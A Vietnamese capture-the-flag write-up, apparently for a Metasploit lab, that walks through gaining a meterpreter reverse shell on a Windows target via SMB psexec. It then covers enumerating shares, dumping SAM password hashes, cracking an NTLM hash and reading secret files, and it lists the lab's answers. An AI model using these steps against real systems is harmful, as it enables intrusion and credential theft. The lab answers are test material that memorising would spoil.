*Đoạn writeup dưới đây mô tả việc sau khai thác (post-exploitation) sau khi exploit RCE thành công trên các hệ thống windows cũ chạy SMB service !* ![Screenshot 2024-02-24 123936](https://hackmd.io/_uploads/r1xBZbPhT.png) ![Screenshot 2024-02-24 020529](https://hackmd.io/_uploads/r1J3nPIha.png) Trong thử thách này , chúng ta sẽ sử dụng module `exploit/windows/smb/psexec` để khai thác máy mục tiêu.Khởi chạy `msfconsole`, sử dụng `exploit/windows/smb/psexec` trên mục tiêu với thông tin user, password được cung cấp: ![Screenshot 2024-02-24 124127](https://hackmd.io/_uploads/r18iZ-P2a.png) ![Screenshot 2024-02-24 022134](https://hackmd.io/_uploads/Syiwl_Lnp.png) *Module exploit/windows/smb/psexec trong Metasploit là một công cụ mạnh mẽ cho phép thực thi mã từ xa (RCE) trên các hệ thống Windows dễ bị tấn công thông qua giao thức SMB.* Theo mặc định , payloads được sử dụng là `windows/meterpreter/reverse_tcp` để tạo reverse shell từ máy Windows mục tiêu đến máy của ta. Sử dụng lệnh show options, sau đó ta gán giá trị cho các trường được yêu cầu: `rhost`, `SBMUser`, `SBMPass`: ![image](https://hackmd.io/_uploads/H1sFGZvha.png) Sử dụng ifconfig để xem IP Localhost hiện tại : ![Screenshot 2024-02-24 023252](https://hackmd.io/_uploads/Sy1XQOUh6.png) ![image](https://hackmd.io/_uploads/B12-XZw2a.png) Thực hiện gán giá trị cho `lhosts` (10.17.122.154) ,sử dụng `port 1234` (tuỳ chọn) để nhận kết nối reverse shell: ![image](https://hackmd.io/_uploads/H1s1Ebw2p.png) Ta có thể kiểm tra lại các options bằng show options. And run exploit... ![image](https://hackmd.io/_uploads/S1P2V-w2a.png) Sau khi chạy , ta nhận được kết nối shell `meterpreter` từ máy mục tiêu, tiến hành khai thác: Answer the Question: 1. *What is the computer name?* Run sysinfo, ta được computer name! ![image](https://hackmd.io/_uploads/H1I9HWD3a.png) *Answer: ACME-TEST* 2. *What is the target domain?* Như kết quả bên trên , ta có domain FLASH *Answer: FLASH* 3. *What is the name of the share likely created by the user?* Sử dụng command background (bg) để background meterpreter hiện tại , trở về msf6 console : ![image](https://hackmd.io/_uploads/Sk_GOWDn6.png) Sử dụng post/windows/gather/enum_shares (post/windows/gather/enum_shares) , ta đặt phiên session vừa background để chạy module này: ![image](https://hackmd.io/_uploads/Syi6uWP3p.png) And run it... ![image](https://hackmd.io/_uploads/BJ6-FZw36.png) *Answer: speedster* 4. *What is the NTLM hash of the jchambers user?* Back to meterpreter session , run hashdump (Dumps the contents of the SAM database on Windows target): ![image](https://hackmd.io/_uploads/Hkmx9Wwna.png) *Answer: 69596c7aa1e8daee17f8e78870e25a5c* 5. *What is the cleartext password of the jchambers user?* Mã Hash của các challenge thường rất dễ để crack , sử dụng [crackstation](https://crackstation.net/) để crack hash ở trên, ta được: ![image](https://hackmd.io/_uploads/rkZ_jZD3T.png) *Answer: Trustno1* 6. *Where is the "secrets.txt" file located?* Run search -f secrets.txt , and take a while... ![image](https://hackmd.io/_uploads/B1-46WDna.png) *Answer: c:\Program Files (x86)\Windows Multimedia Platform\secrets.txt* 7. *Where is the "realsecret.txt" file located?* The same : ![image](https://hackmd.io/_uploads/BJHlRbvna.png) *Answer: c:\inetpub\wwwroot\realsecret.txt* 8. *What is the real secret?* Enter shell trên máy mục tiêu, and run type c:\inetpub\wwwroot\realsecret.txt ![image](https://hackmd.io/_uploads/r1P-yfDn6.png) *Anwser: The Flash is the fastest man alive*